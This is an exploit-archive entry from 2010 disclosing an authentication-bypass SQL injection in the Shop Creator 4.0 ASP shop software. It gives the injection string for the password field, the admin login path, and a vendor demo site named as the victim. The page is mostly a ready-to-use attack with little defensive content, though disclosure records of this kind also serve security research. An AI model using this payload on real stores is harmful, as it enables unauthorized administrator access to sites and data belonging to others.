[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Shop Creator 4.0 SQL Injection Vulnerability
# Published : 2010-08-27
# Author : Pouya_Server
# Previous Title : DiY-CMS 1.0 Multiple Remote File Inclusion Vulnerabilities
# Next Title : iGaming CMS Multiple SQL Injection Vulnerabilities
#########################################################
---------------------------------------------------------
Portal Name: Shop Creator
Version: 4.0
Vendor: http://www.etoshop.com
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Website: http://Pouya-Server.ir
Vulnerability : (Auth Bypass) SQL Injection Vulnerability
---------------------------------------------------------
#########################################################
[Auth Bypass]:
user: pouya
pass: ' or '
admin page : http://site.com/[path]/admin.asp
---------------------------------
Victem :
http://www.etoshop.com/demo/pcstore
---------------------------------------------------------
#########################################################